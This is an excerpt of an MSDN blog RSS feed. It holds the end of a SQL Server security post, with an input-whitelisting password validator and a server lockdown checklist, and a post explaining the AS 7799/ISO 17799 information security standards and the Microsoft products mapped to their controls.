&lt;P align=left&gt;&lt;EM&gt;function validatepassword( input ) &lt;/EM&gt;&lt;/P&gt;
&lt;P align=left&gt;&lt;EM&gt;good_password_chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789" &lt;/EM&gt;&lt;/P&gt;
&lt;P align=left&gt;&lt;EM&gt;validatepassword = true &lt;/EM&gt;&lt;/P&gt;
&lt;P align=left&gt;&lt;EM&gt;for i = 1 to len( input ) &lt;/EM&gt;&lt;/P&gt;
&lt;P align=left&gt;&lt;EM&gt;c = mid( input, i, 1 ) &lt;/EM&gt;&lt;/P&gt;
&lt;P align=left&gt;&lt;EM&gt;if ( InStr( good_password_chars, c ) = 0 ) then &lt;/EM&gt;&lt;/P&gt;
&lt;P align=left&gt;&lt;EM&gt;validatepassword = false &lt;/EM&gt;&lt;/P&gt;
&lt;P align=left&gt;&lt;EM&gt;exit function &lt;/EM&gt;&lt;/P&gt;
&lt;P align=left&gt;&lt;EM&gt;end if &lt;/EM&gt;&lt;/P&gt;
&lt;P align=left&gt;&lt;EM&gt;next &lt;/EM&gt;&lt;/P&gt;
&lt;P&gt;&lt;EM&gt;end function &lt;/EM&gt;&lt;/P&gt;
&lt;P&gt;&lt;STRONG&gt;SQL Server Lockdown &lt;/STRONG&gt;&lt;/P&gt;
&lt;P align=left&gt;The most important point here is that it *is* necessary to 'lock down' SQL server; it is not secure 'out of the box'. Here is a brief list of things to do when creating a SQL Server build: &lt;/P&gt;
&lt;DIR&gt;
&lt;DIR&gt;
&lt;P align=left&gt;1. Determine methods of connection to the server &lt;/P&gt;&lt;/DIR&gt;&lt;/DIR&gt;
&lt;BLOCKQUOTE&gt;
&lt;BLOCKQUOTE&gt;
&lt;BLOCKQUOTE&gt;
&lt;BLOCKQUOTE&gt;
&lt;P&gt;a. Verify that only the network libraries you're using are enabled, using the 'Network utility' &lt;/P&gt;&lt;/BLOCKQUOTE&gt;&lt;/BLOCKQUOTE&gt;&lt;/BLOCKQUOTE&gt;&lt;/BLOCKQUOTE&gt;
&lt;DIR&gt;
&lt;DIR&gt;
&lt;P align=left&gt;2. Verify which accounts exist &lt;/P&gt;
&lt;DIR&gt;
&lt;DIR&gt;
&lt;P align=left&gt;a. Create 'low privileged' accounts for use by applications &lt;/P&gt;
&lt;P align=left&gt;b. Remove unnecessary accounts &lt;/P&gt;
&lt;P align=left&gt;c. Ensure that all accounts have strong passwords; run a password auditing script (such as the one provided as an appendix to this paper) against the server on a regular basis &lt;/P&gt;&lt;/DIR&gt;&lt;/DIR&gt;
&lt;P align=left&gt;3. Verify which objects exist &lt;/P&gt;
&lt;DIR&gt;
&lt;DIR&gt;
&lt;P align=left&gt;a. Many extended stored procedures can be removed safely. If this is done, consider removing the '.dll' file containing the extended stored procedure code. &lt;/P&gt;
&lt;P align=left&gt;b. Remove all sample databases - the 'northwind' and 'pubs' databases, for example. &lt;/P&gt;&lt;/DIR&gt;&lt;/DIR&gt;
&lt;P align=left&gt;4. Verify which accounts can access which objects &lt;/P&gt;
&lt;DIR&gt;
&lt;DIR&gt;
&lt;P align=left&gt;a. The account that an application uses to access the database should have only the minimum permissions necessary to access the objects that it needs to use. &lt;/P&gt;&lt;/DIR&gt;&lt;/DIR&gt;
&lt;P align=left&gt;5. Verify the patch level of the server &lt;/P&gt;
&lt;DIR&gt;
&lt;DIR&gt;
&lt;P align=left&gt;a. There are several buffer overflow [3], [4] and format string [5] attacks against SQL Server (mostly discovered by the author) as well as several other 'patched' security issues. It is likely that more exist. &lt;/P&gt;&lt;/DIR&gt;&lt;/DIR&gt;
&lt;P align=left&gt;6. Verify what will be logged, and what will be done with the logs. &lt;/P&gt;&lt;/DIR&gt;&lt;/DIR&gt;&lt;/FONT&gt;&lt;div style="clear:both;"&gt;&lt;/div&gt;&lt;img src="http://blogs.msdn.com/aggbug.aspx?PostID=3402032" width="1" height="1"&gt;</description><category domain="http://blogs.msdn.com/b/apinedo/archive/tags/Seguridad/">Seguridad</category></item><item><title>Microsoft and the AS 7799/ISO 17799 Standards for Information Security Management</title><link>http://blogs.msdn.com/b/apinedo/archive/2007/05/09/microsoft-and-the-as-7799-iso-17799-standards-for-information-security-management.aspx</link><pubDate>Wed, 09 May 2007 17:41:00 GMT</pubDate><guid isPermaLink="false">91d46819-8472-40ad-a661-2c78acb4018c:2505413</guid><dc:creator>apinedo</dc:creator><slash:comments>1</slash:comments><wfw:commentRss xmlns:wfw="http://wellformedweb.org/CommentAPI/">http://blogs.msdn.com/b/apinedo/rsscomments.aspx?WeblogPostID=2505413</wfw:commentRss><comments>http://blogs.msdn.com/b/apinedo/archive/2007/05/09/microsoft-and-the-as-7799-iso-17799-standards-for-information-security-management.aspx#comments</comments><description>&lt;H3&gt;What is Information Security?&lt;/H3&gt;
&lt;P&gt;&lt;BR&gt;Information and the systems and processes supporting it are key organisational assets. Information Security is about ensuring the confidentiality, availability and integrity of that information and ensuring that privacy issues are addressed as required to support the achievement of the organisation’s objectives.&lt;/P&gt;
&lt;P&gt;&lt;BR&gt;&lt;STRONG&gt;Why is Information Security important to me?&lt;/STRONG&gt;&lt;/P&gt;
&lt;P&gt;&lt;STRONG&gt;&lt;/STRONG&gt;&lt;BR&gt;The Information Systems that have brought so many improvements and efficiencies have also brought us new risks.&amp;nbsp; Dependence on information systems increases the impact of successful attacks or other security incidents.&amp;nbsp; At the same time, the interconnection of public and private networks and the trend to distributed computing is makes it more challenging to secure systems from unauthorised access and attack.&amp;nbsp; Effective protection requires a comprehensive system – incorporating appropriate management and procedures as well as a robust risk management regime. &lt;/P&gt;
&lt;H3 style="MARGIN: 12pt 0cm 3pt"&gt;&lt;BR&gt;What are the AS 7799 and ISO 17799 standards?&lt;/H3&gt;
&lt;P&gt;&lt;BR&gt;Australian Standard, AS/NZS 7799.2:2003, details a risk based Information Security Management System, which can be used by organisations of all sizes, in both the public and private sectors. International Standard, ISO/IEC 17799:2005, outlines the accepted best practice for security management and offers guidelines on how these security measures should be implemented. In combination, these Standards provide a framework for the management of information and computer system security within an organisation.&lt;/P&gt;
&lt;P&gt;&lt;BR&gt;&lt;STRONG&gt;Recent revision of ISO 17799:2005&lt;/STRONG&gt;&lt;BR&gt;&lt;/P&gt;
&lt;P&gt;ISO 17799 was revised in June 2005 to address over 4,000 comments that had been received since the 2001 issue and present a more logical structure for implementation.&amp;nbsp; The most significant changes were: the introduction of a new control objective for managing security incidents; the reorganisation of human resources security into before, during and on termination of employment and additional controls for handling relationships with third parties.&amp;nbsp; A number of existing controls were consolidated and new controls added to address issues such as acceptable usage and on-line transactions.&amp;nbsp; A revision of AS 7799 is expected in 2006 to reflect the revised structure.&lt;/P&gt;
&lt;P&gt;&lt;BR&gt;This diagram illustrates the revisions to the ISO 17799:2005 control objectives&lt;/P&gt;
&lt;P&gt;&lt;BR&gt;&lt;STRONG&gt;What is an Information Security Management System?&lt;/STRONG&gt;&lt;/P&gt;&lt;STRONG&gt;&lt;/STRONG&gt;
&lt;P&gt;&lt;BR&gt;An Information Security Management System or ISMS is the key set of processes that are required to support effective information security throughout an organisation.&amp;nbsp; Key components of the ISMS include; a high level Security Policy that states the organisation’s objectives for information security, a Risk Assessment of the critical information assets and a ‘Statement of Applicability’, which documents how compliance is achieved against the Standard’s controls. The implementation of the ISMS follows the concept of the Plan, Do, Check Act cycle, common in other management systems, such as ISO 9001 and ISO 14001.&lt;/P&gt;
&lt;P&gt;&lt;IMG style="WIDTH: 576px; HEIGHT: 307px" height=307 src="http://blogs.msdn.com/photos/apinedo/images/2505481/original.aspx" width=576 align=middle mce_src="http://blogs.msdn.com/photos/apinedo/images/2505481/original.aspx"&gt;&lt;BR&gt;This diagram demonstrates the Plan, Do, Check, and Act lifecycle of an ISMS&lt;/P&gt;
&lt;P&gt;&lt;BR&gt;&lt;STRONG&gt;How can AS 7799 and ISO 17799 help me?&lt;/STRONG&gt;&lt;/P&gt;&lt;STRONG&gt;
&lt;P&gt;&lt;BR&gt;&lt;/STRONG&gt;These Standards define a framework and provide a suggested code of practice. They help ensure that individual security measures are integrated into a security architecture that focuses on securing key assets and the best allocation of the security budget. The Standards also promote a continual review and improvement process to assess effectiveness of implemented measures as well as addressing new risks faced by the organisation. &lt;/P&gt;
&lt;P&gt;&lt;IMG style="WIDTH: 577px; HEIGHT: 271px" height=271 src="http://blogs.msdn.com/photos/apinedo/images/2505486/original.aspx" width=577 align=middle mce_src="http://blogs.msdn.com/photos/apinedo/images/2505486/original.aspx"&gt;&lt;/P&gt;
&lt;P&gt;This diagram illustrates the process to achieve AS 7799 and ISO 17799 compliance.&lt;/P&gt;
&lt;P&gt;&lt;BR&gt;&lt;STRONG&gt;Compliance and Certification?&lt;BR&gt;&lt;/STRONG&gt;&lt;/P&gt;
&lt;P&gt;Any organisation can use the guidance and requirements in the Standards to improve aspects of their internal security management.&amp;nbsp; To achieve compliance, however, the organisation will need to implement measures to address all control objectives. Formal certification to AS 7799 can also be achieved though a formal audit by a certified independent auditor.&amp;nbsp; This is the only way the organisation can demonstrate it has truly achieved compliance.&lt;/P&gt;
&lt;P&gt;AS 7799 certification offers not only internal confidence in the organisations security management, but enables external demonstration through the use of the certification logo.&amp;nbsp; This instils confidence in suppliers, customers and other business partners, as well as enhancing the organisation’s image and potentially offering a competitive advantage.&amp;nbsp; Effective security is a key requirement for good governance and certification provides evidence of meeting due diligence requirements for information security aspects of some legislation.&lt;/P&gt;
&lt;P&gt;AS 7799 is being actively promoted by some state governments and certification has been a mandatory requirement in contracts with particular security sensitivity.&lt;/P&gt;
&lt;P&gt;&lt;BR&gt;&lt;STRONG&gt;What are the Control Objectives and their associated Controls?&lt;/STRONG&gt;&lt;/P&gt;&lt;STRONG&gt;
&lt;P&gt;&lt;BR&gt;&lt;/STRONG&gt;A ‘control objective’ is a security issue that needs to be considered and addressed by the organisation as part of the ISMS.&amp;nbsp; There are 11 main control objectives in ISO 17799 which are then broken down into 133 individual controls. The 11 Control Objectives are:&lt;/P&gt;
&lt;UL&gt;
&lt;LI&gt;Security Policy – Documented security objectives for the organisation, agreed by management &lt;/LI&gt;
&lt;LI&gt;Organisational of Information Security – Responsibilities and management forum for setting security objectives and management of external parties&lt;/LI&gt;
&lt;LI&gt;Asset Management – The management and usage of hardware and software assets and classification and handling of information&lt;/LI&gt;
&lt;LI&gt;Human Resources Security – The recruitment of staff, terms of employment, security awareness training and process for termination.&lt;/LI&gt;
&lt;LI&gt;Physical and Environmental Security – Securing the human and system environment, including entry controls, power and cabling security.&lt;/LI&gt;
&lt;LI&gt;Communications and Operations Management – Key security aspects of managing systems securely, such as backups, antivirus, media and laptop security&lt;/LI&gt;
&lt;LI&gt;Access Control – Effective password, privilege and user management on operating systems, applications and within networks.&lt;/LI&gt;
&lt;LI&gt;Information System Acquisition, Development and Maintenance – Secure development of software and maintenance of systems to maintain ongoing security&lt;/LI&gt;
&lt;LI&gt;Information Security Incident Management – The reporting, recording, management and review of security incidents.&lt;/LI&gt;
&lt;LI&gt;Business Continuity Management – Planning and defining the response in the event of a disaster.&lt;/LI&gt;
&lt;LI&gt;Compliance – Ensuring compliance with legal requirements, including IPR, computer misuse and privacy legislation&lt;BR&gt;&lt;/LI&gt;&lt;/UL&gt;
&lt;P&gt;&lt;STRONG&gt;How can Microsoft help me address the individual controls?&lt;/STRONG&gt;&lt;/P&gt;
&lt;P&gt;&lt;STRONG&gt;&lt;BR&gt;&lt;/STRONG&gt;Microsoft has long recognised the need for effective security in business and has developed products and expertise to help you address your security needs.&amp;nbsp; Microsoft’s Trustworthy Computing initiative is one of the most fundamental and all-encompassing initiatives ever undertaken at Microsoft. Microsoft’s commitment includes considerable investments to increase the security of our products, as well as providing implementation guides and training based on industry best practices, such as ISO 17799 and AS 7799, for security.&lt;BR&gt;&lt;/P&gt;
&lt;P mce_keep="true"&gt;&amp;nbsp;&lt;/P&gt;
&lt;TABLE class=MsoNormalTable style="BORDER-RIGHT: medium none; BORDER-TOP: medium none; MARGIN: auto auto auto 5.4pt; BORDER-LEFT: medium none; WIDTH: 100%; BORDER-BOTTOM: medium none; BORDER-COLLAPSE: collapse; mso-border-alt: solid navy .75pt; mso-yfti-tbllook: 32; mso-padding-alt: 0cm 5.4pt 0cm 5.4pt; mso-prop-change: 'Jodie Siganto' 20050119T1804; mso-border-insideh: .75pt solid navy; mso-border-insidev: .75pt solid navy" cellSpacing=0 cellPadding=0 width="100%" border=1 class="MsoNormalTable"&gt;
&lt;THEAD&gt;
&lt;TR style="mso-prop-change: 'Jodie Siganto' 20050119T1804; mso-yfti-irow: 0; mso-yfti-firstrow: yes; page-break-inside: avoid"&gt;
&lt;TD class="" style="BORDER-RIGHT: navy 1pt solid; PADDING-RIGHT: 5.4pt; BORDER-TOP: navy 1pt solid; PADDING-LEFT: 5.4pt; BACKGROUND: navy; PADDING-BOTTOM: 0cm; BORDER-LEFT: navy 1pt solid; WIDTH: 31.82%; PADDING-TOP: 0cm; BORDER-BOTTOM: navy 1pt solid; mso-border-alt: solid navy .75pt; mso-shading: white; mso-pattern: solid navy" vAlign=top width="31%"&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: center" align=center&gt;&lt;B&gt;&lt;SPAN lang=EN-GB style="FONT-SIZE: 11pt; COLOR: white; FONT-FAMILY: 'Arial','sans-serif'; mso-ansi-language: EN-GB"&gt;AS 7799/ISO 17799 &lt;BR&gt;Control Objective&lt;?xml:namespace prefix = o /&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/B&gt;&lt;/P&gt;&lt;/SPAN&gt;&lt;/TD&gt;
&lt;TD class="" style="BORDER-RIGHT: navy 1pt solid; PADDING-RIGHT: 5.4pt; BORDER-TOP: navy 1pt solid; PADDING-LEFT: 5.4pt; BACKGROUND: navy; PADDING-BOTTOM: 0cm; BORDER-LEFT: #f0f0f0; WIDTH: 68.18%; PADDING-TOP: 0cm; BORDER-BOTTOM: navy 1pt solid; mso-border-alt: solid navy .75pt; mso-shading: white; mso-pattern: solid navy; mso-border-left-alt: solid navy .75pt" vAlign=top width="68%"&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: center" align=center&gt;&lt;B&gt;&lt;SPAN lang=EN-GB style="FONT-SIZE: 11pt; COLOR: white; FONT-FAMILY: 'Arial','sans-serif'; mso-ansi-language: EN-GB"&gt;Supporting Microsoft Products And Solutions&lt;o:p&gt;&lt;/o:p&gt;&lt;/B&gt;&lt;/P&gt;&lt;/SPAN&gt;&lt;/TD&gt;&lt;/TR&gt;&lt;/THEAD&gt;
&lt;TBODY&gt;
&lt;TR style="mso-prop-change: 'Jodie Siganto' 20050119T1647; mso-yfti-irow: 1; page-break-inside: avoid"&gt;
&lt;TD class="" style="BORDER-RIGHT: navy 1pt solid; PADDING-RIGHT: 5.4pt; BORDER-TOP: #f0f0f0; PADDING-LEFT: 5.4pt; PADDING-BOTTOM: 0cm; BORDER-LEFT: navy 1pt solid; WIDTH: 31.82%; PADDING-TOP: 0cm; BORDER-BOTTOM: navy 1pt solid; BACKGROUND-COLOR: transparent; mso-border-alt: solid navy .75pt; mso-border-top-alt: solid navy .75pt" vAlign=top width="31%"&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"&gt;&lt;B style="mso-bidi-font-weight: normal"&gt;Security Policy and Organisational Security&lt;o:p&gt;&lt;/o:p&gt;&lt;/B&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt 18pt; TEXT-INDENT: -18pt; mso-list: l1 level1 lfo1"&gt;Information security policy document (A.3.1.1/5.1.1)*&lt;o:p&gt;&lt;/o:p&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt 18pt; TEXT-INDENT: -18pt; mso-list: l1 level1 lfo1"&gt;Contact with special interest groups (A.4.1.5/6.1.7)&lt;o:p&gt;&lt;/o:p&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt 18pt; TEXT-INDENT: -18pt; mso-list: l1 level1 lfo1"&gt;Independent review of information security (A.4.1.7/6.1.8)&lt;SPAN style="mso-bidi-font-weight: bold"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"&gt;&lt;B style="mso-bidi-font-weight: normal"&gt;&lt;/B&gt;&lt;/P&gt;&lt;/SPAN&gt;&lt;/TD&gt;
&lt;TD class="" style="BORDER-RIGHT: navy 1pt solid; PADDING-RIGHT: 5.4pt; BORDER-TOP: #f0f0f0; PADDING-LEFT: 5.4pt; PADDING-BOTTOM: 0cm; BORDER-LEFT: #f0f0f0; WIDTH: 68.18%; PADDING-TOP: 0cm; BORDER-BOTTOM: navy 1pt solid; BACKGROUND-COLOR: transparent; mso-border-alt: solid navy .75pt; mso-border-left-alt: solid navy .75pt; mso-border-top-alt: solid navy .75pt" vAlign=top width="68%"&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: justify"&gt;&lt;SPAN lang=EN-GB style="FONT-SIZE: 11pt; FONT-FAMILY: 'Arial','sans-serif'; mso-ansi-language: EN-GB"&gt;Microsoft TechNet provides comprehensive guidance including whitepapers, guidelines and checklists to assist in developing and documenting an effective security policy. &lt;SPAN style="mso-spacerun: yes"&gt;&amp;nbsp;This includes ‘The Security Risk Management Guide’ that guides customers in the implementation of organisational security using a risk management approach core to the ISMS..&lt;o:p&gt;&lt;/o:p&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: justify"&gt;&lt;SPAN lang=EN-GB style="FONT-SIZE: 11pt; FONT-FAMILY: 'Arial','sans-serif'; mso-ansi-language: EN-GB"&gt;&lt;o:p&gt;&amp;nbsp;&lt;/o:p&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: justify"&gt;&lt;SPAN lang=EN-GB style="FONT-SIZE: 11pt; FONT-FAMILY: 'Arial','sans-serif'; mso-ansi-language: EN-GB"&gt;Microsoft Consulting Services and Microsoft Partners can provide Specialist Information Security Advice. The Microsoft Security Specialist Partner programme is designed to ensure Microsoft customers have access to a range of different security external experts. &lt;o:p&gt;&lt;/o:p&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: justify"&gt;&lt;SPAN lang=EN-GB style="FONT-SIZE: 11pt; FONT-FAMILY: 'Arial','sans-serif'; mso-ansi-language: EN-GB"&gt;&lt;o:p&gt;&amp;nbsp;&lt;/o:p&gt;&lt;/P&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/TD&gt;&lt;/TR&gt;
&lt;TR style="mso-prop-change: 'Jodie Siganto' 20050119T1647; mso-yfti-irow: 2; page-break-inside: avoid"&gt;
&lt;TD class="" style="BORDER-RIGHT: navy 1pt solid; PADDING-RIGHT: 5.4pt; BORDER-TOP: #f0f0f0; PADDING-LEFT: 5.4pt; PADDING-BOTTOM: 0cm; BORDER-LEFT: navy 1pt solid; WIDTH: 31.82%; PADDING-TOP: 0cm; BORDER-BOTTOM: navy 1pt solid; BACKGROUND-COLOR: transparent; mso-border-alt: solid navy .75pt; mso-border-top-alt: solid navy .75pt" vAlign=top width="31%"&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"&gt;&lt;B style="mso-bidi-font-weight: normal"&gt;&lt;SPAN lang=EN-GB style="FONT-SIZE: 11pt; FONT-FAMILY: 'Arial','sans-serif'; mso-ansi-language: EN-GB; mso-bidi-font-style: italic"&gt;Asset Classification and Control&lt;o:p&gt;&lt;/o:p&gt;&lt;/B&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt 18pt; TEXT-INDENT: -18pt; mso-list: l3 level1 lfo2"&gt;&lt;SPAN lang=EN-GB style="FONT-SIZE: 11pt; FONT-FAMILY: Symbol; mso-bidi-font-family: Symbol; mso-ansi-language: EN-GB; mso-fareast-font-family: Symbol; mso-bidi-font-style: italic"&gt;&lt;SPAN style="mso-list: Ignore"&gt;·&lt;SPAN style="FONT: 7pt 'Times New Roman'"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;SPAN lang=EN-GB style="FONT-SIZE: 11pt; FONT-FAMILY: 'Arial','sans-serif'; mso-ansi-language: EN-GB; mso-bidi-font-style: italic"&gt;Inventory of assets (A.5.1.1/7.1.1)&lt;o:p&gt;&lt;/o:p&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt 18pt; TEXT-INDENT: -18pt; mso-list: l3 level1 lfo2"&gt;&lt;SPAN lang=EN-GB style="FONT-SIZE: 11pt; FONT-FAMILY: Symbol; mso-bidi-font-family: Symbol; mso-ansi-language: EN-GB; mso-fareast-font-family: Symbol; mso-bidi-font-style: italic"&gt;&lt;SPAN style="mso-list: Ignore"&gt;·&lt;SPAN style="FONT: 7pt 'Times New Roman'"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;SPAN lang=EN-GB style="FONT-SIZE: 11pt; FONT-FAMILY: 'Arial','sans-serif'; mso-ansi-language: EN-GB; mso-bidi-font-style: italic"&gt;Acceptable use of assets (A.12.1.2/7.1.3)&lt;o:p&gt;&lt;/o:p&gt;&lt;/P&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/TD&gt;
&lt;TD class="" style="BORDER-RIGHT: navy 1pt solid; PADDING-RIGHT: 5.4pt; BORDER-TOP: #f0f0f0; PADDING-LEFT: 5.4pt; PADDING-BOTTOM: 0cm; BORDER-LEFT: #f0f0f0; WIDTH: 68.18%; PADDING-TOP: 0cm; BORDER-BOTTOM: navy 1pt solid; BACKGROUND-COLOR: transparent; mso-border-alt: solid navy .75pt; mso-border-left-alt: solid navy .75pt; mso-border-top-alt: solid navy .75pt" vAlign=top width="68%"&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"&gt;&lt;SPAN lang=EN-GB style="FONT-SIZE: 11pt; FONT-FAMILY: 'Arial','sans-serif'; mso-ansi-language: EN-GB"&gt;Microsoft Solutions for Management (MSM) help organisations achieve operational excellence through delivering higher service quality, reliability, availability, security, and lower total cost of ownership for Windows® environments. MSM’s distinct set of technologies, best practices, and services helps organisations efficiently manage complex, enterprise IT environments.&lt;o:p&gt;&lt;/o:p&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"&gt;&lt;SPAN lang=EN-GB style="FONT-SIZE: 11pt; FONT-FAMILY: 'Arial','sans-serif'; mso-ansi-language: EN-GB"&gt;&lt;o:p&gt;&amp;nbsp;&lt;/o:p&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"&gt;&lt;SPAN lang=EN-GB style="FONT-SIZE: 11pt; FONT-FAMILY: 'Arial','sans-serif'; mso-ansi-language: EN-GB"&gt;As the change and configuration management component of System Center 2005, System Management Server (SMS) 2003 provides enterprise application deployment, asset management, and security update capabilities for multiple systems, including desktops, devices and servers. Identifying and tracking hardware and software assets can also be simplified using automated tools such as System Management Server (SMS).&lt;o:p&gt;&lt;/o:p&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"&gt;&lt;SPAN lang=EN-GB style="FONT-SIZE: 11pt; FONT-FAMILY: 'Arial','sans-serif'; mso-ansi-language: EN-GB"&gt;&lt;o:p&gt;&amp;nbsp;&lt;/o:p&gt;&lt;/P&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/TD&gt;&lt;/TR&gt;
&lt;TR style="mso-prop-change: 'Jodie Siganto' 20050119T1647; mso-yfti-irow: 3; page-break-inside: avoid"&gt;
&lt;TD class="" style="BORDER-RIGHT: navy 1pt solid; PADDING-RIGHT: 5.4pt; BORDER-TOP: #f0f0f0; PADDING-LEFT: 5.4pt; PADDING-BOTTOM: 0cm; BORDER-LEFT: navy 1pt solid; WIDTH: 31.82%; PADDING-TOP: 0cm; BORDER-BOTTOM: navy 1pt solid; BACKGROUND-COLOR: transparent; mso-border-alt: solid navy .75pt; mso-border-top-alt: solid navy .75pt" vAlign=top width="31%"&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"&gt;&lt;B style="mso-bidi-font-weight: normal"&gt;&lt;SPAN lang=EN-GB style="FONT-SIZE: 11pt; FONT-FAMILY: 'Arial','sans-serif'; mso-ansi-language: EN-GB"&gt;Personnel Security&lt;o:p&gt;&lt;/o:p&gt;&lt;/B&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt 18pt; TEXT-INDENT: -18pt; mso-list: l2 level1 lfo4"&gt;&lt;SPAN lang=EN-GB style="FONT-SIZE: 11pt; FONT-FAMILY: Symbol; mso-bidi-font-family: Symbol; mso-ansi-language: EN-GB; mso-fareast-font-family: Symbol; mso-bidi-font-weight: bold"&gt;&lt;SPAN style="mso-list: Ignore"&gt;·&lt;SPAN style="FONT: 7pt 'Times New Roman'"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;SPAN lang=EN-GB style="FONT-SIZE: 11pt; FONT-FAMILY: 'Arial','sans-serif'; mso-ansi-language: EN-GB; mso-bidi-font-weight: bold"&gt;Management Responsibilities (8.2.1)&lt;o:p&gt;&lt;/o:p&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt 18pt; TEXT-INDENT: -18pt; mso-list: l2 level1 lfo4"&gt;&lt;SPAN lang=EN-GB style="FONT-SIZE: 11pt; FONT-FAMILY: Symbol; mso-bidi-font-family: Symbol; mso-ansi-language: EN-GB; mso-fareast-font-family: Symbol"&gt;&lt;SPAN style="mso-list: Ignore"&gt;·&lt;SPAN style="FONT: 7pt 'Times New Roman'"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;SPAN lang=EN-GB style="FONT-SIZE: 11pt; FONT-FAMILY: 'Arial','sans-serif'; mso-ansi-language: EN-GB; mso-bidi-font-weight: bold"&gt;Information security education and training (A.6.2.1/8.2.2)&lt;B style="mso-bidi-font-weight: normal"&gt;&lt;SPAN lang=EN-GB style="FONT-SIZE: 11pt; FONT-FAMILY: 'Arial','sans-serif'; mso-ansi-language: EN-GB"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/B&gt;&lt;/P&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/TD&gt;
&lt;TD class="" style="BORDER-RIGHT: navy 1pt solid; PADDING-RIGHT: 5.4pt; BORDER-TOP: #f0f0f0; PADDING-LEFT: 5.4pt; PADDING-BOTTOM: 0cm; BORDER-LEFT: #f0f0f0; WIDTH: 68.18%; PADDING-TOP: 0cm; BORDER-BOTTOM: navy 1pt solid; BACKGROUND-COLOR: transparent; mso-border-alt: solid navy .75pt; mso-border-left-alt: solid navy .75pt; mso-border-top-alt: solid navy .75pt" vAlign=top width="68%"&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: justify"&gt;&lt;SPAN lang=EN-GB style="FONT-SIZE: 11pt; FONT-FAMILY: 'Arial','sans-serif'; mso-ansi-language: EN-GB"&gt;A key requirement of AS7799 is that personnel are trained appropriately in the secure implementation and operation of systems.&lt;SPAN style="mso-spacerun: yes"&gt;&amp;nbsp; Microsoft’s range of training courses, c&lt;SPAN style="mso-bidi-font-style: italic"&gt;ertification programs, security-specific seminars and on-line educational ensures staff can achieve the appropriate level of qualification. &lt;o:p&gt;&lt;/o:p&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: justify"&gt;&lt;SPAN lang=EN-GB style="FONT-SIZE: 11pt; FONT-FAMILY: 'Arial','sans-serif'; mso-ansi-language: EN-GB; mso-bidi-font-style: italic"&gt;&lt;o:p&gt;&amp;nbsp;&lt;/o:p&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: justify"&gt;&lt;SPAN lang=EN-GB style="FONT-SIZE: 11pt; FONT-FAMILY: 'Arial','sans-serif'; mso-ansi-language: EN-GB; mso-bidi-font-style: italic"&gt;Additionally, Microsoft Press have released numerous books on all aspects of security as well as specific technologies and solutions.&lt;o:p&gt;&lt;/o:p&gt;&lt;/P&gt;
